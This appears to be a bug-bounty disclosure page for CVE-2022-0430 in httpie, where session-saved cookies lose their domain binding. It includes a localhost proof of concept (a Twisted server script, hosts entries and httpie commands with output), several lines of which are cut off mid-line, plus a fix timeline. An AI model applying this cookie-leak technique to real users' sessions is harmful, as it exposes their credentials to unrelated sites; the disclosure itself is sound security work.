Exposure of Sensitive Information to an Unauthorized Actor in httpie/httpie

1

Valid Reported on Jan 24th 2022

Description

All cookies saved to session storage are supercookies.

Proof of Concept

```
# in /etc/hosts
127.0.0.1       host1.example.com
127.0.0.1       host2.example.net

#headers-helper.rpy; run with `twist web --resource-script=` and it'll run
from pprint import pformat
from twisted.web.resource import Resource

class MyResource(Resource):

    def getChild(self, path, request):
        return self

    def render_GET(self, request):
        hostHeader = b"".join(request.requestHeaders.getRawHeaders(b"host")
        request.setHeader(b"content-type", b"text/plain")
        if hostHeader is not None:
            thisHost = hostHeader.decode('charmap')
        else:
            thisHost = u'HOST NOT SET'
        request.addCookie("from-" + thisHost, thisHost.encode("charmap"))
        if request.requestHeaders.getRawHeaders(b'host') !=
            request.redirect(b'http://host2.example.net:808
        return (thisHost + "\n\n" + pformat(dict(request.requestHeaders.get
```

```
resource = MyResource()


# then, on the command line, if you run this twice
$ http --follow --all --session ./session-state get http://host1.example.cc
HTTP/1.1 302 Found
Content-Length: 193
Content-Type: text/plain
Date: Mon, 24 Jan 2022 08:32:22 GMT
Location: http://host2.example.net:8080/2
Server: TwistedWeb/21.7.0
Set-Cookie: from-host1.example.com:8080=host1.example.com:8080

host1.example.com:8080

{b'Accept': [b'*/*'],
 b'Accept-Encoding': [b'gzip, deflate'],
 b'Connection': [b'keep-alive'],
 b'Host': [b'host1.example.com:8080'],
 b'User-Agent': [b'HTTPie/2.6.0']}


HTTP/1.1 200 OK
Content-Length: 193
Content-Type: text/plain
Date: Mon, 24 Jan 2022 08:32:22 GMT
Server: TwistedWeb/21.7.0
Set-Cookie: from-host2.example.net:8080=host2.example.net:8080

host2.example.net:8080

{b'Accept': [b'*/*'],
 b'Accept-Encoding': [b'gzip, deflate'],
 b'Connection': [b'keep-alive'],
 b'Host': [b'host2.example.net:8080'],
 b'User-Agent': [b'HTTPie/2.6.0']}

$ http --follow --all --session ./session-state get http://ho
HTTP/1.1 302 Found
Content-Length: 331
```

```
Content-Type: text/plain
Date: Mon, 24 Jan 2022 08:32:26 GMT
Location: http://host2.example.net:8080/2

Server: TwistedWeb/21.7.0
Set-Cookie: from-host1.example.com:8080=host1.example.com:8080

host1.example.com:8080

{b'Accept': [b'*/*'],
 b'Accept-Encoding': [b'gzip, deflate'],
 b'Connection': [b'keep-alive'],
 b'Cookie': [b'from-host1.example.com:8080=host1.example.com:8080; from-hos
             b'xample.net:8080=host2.example.net:8080'],
 b'Host': [b'host1.example.com:8080'],
 b'User-Agent': [b'HTTPie/2.6.0']}


HTTP/1.1 200 OK
Content-Length: 331
Content-Type: text/plain
Date: Mon, 24 Jan 2022 08:32:26 GMT
Server: TwistedWeb/21.7.0
Set-Cookie: from-host2.example.net:8080=host2.example.net:8080

host2.example.net:8080

{b'Accept': [b'*/*'],
 b'Accept-Encoding': [b'gzip, deflate'],
 b'Connection': [b'keep-alive'],
 b'Cookie': [b'from-host1.example.com:8080=host1.example.com:8080; from-hos
             b'xample.net:8080=host2.example.net:8080'],
 b'Host': [b'host2.example.net:8080'],
 b'User-Agent': [b'HTTPie/2.6.0']}
```


Note the presence of the `from-host1.example.com` in the output from the second request.

Impact

All cookies set by any site in a persistent session will be visible to all sites in that session, as all domain-binding is stripped in the persistence process

Occurrences

sessions.py L86-L91

To properly persist http.cookielib.Cookie instances, all fields must be honored, not just name & value; the stdlib will handle this for you correctly if you let it.

CVE
CVE-2022-0430
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
Low (2.4)

Visibility
Public

Status
Fixed

Found by
Glyph
@glyph
maintainer

This report was seen 547 times.

We are processing your report and will contact the **httpie** team within 24 h

Chat with us

We have contacted a member of the **httpie** team and are waiting to hear back 10 months ago

We have sent a follow up to the **httpie** team. We will try again in 7 days. 10 months ago

Jakub Roztocil validated this vulnerability 10 months ago

Glyph has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the **httpie** team. We will try again in 7 days. 10 months ago

We have sent a second fix follow up to the **httpie** team. We will try again in 10 days. 10 months ago

We have sent a third and final fix follow up to the **httpie** team. This report is now considered stale. 9 months ago

Jakub Roztocil marked this as fixed in **3.1.0** with commit **65ab7d** 8 months ago

The fix bounty has been dropped ✘

This vulnerability will not receive a CVE ✘

sessions.py#L86-L91 has been validated ✔

Sign in to join this conversation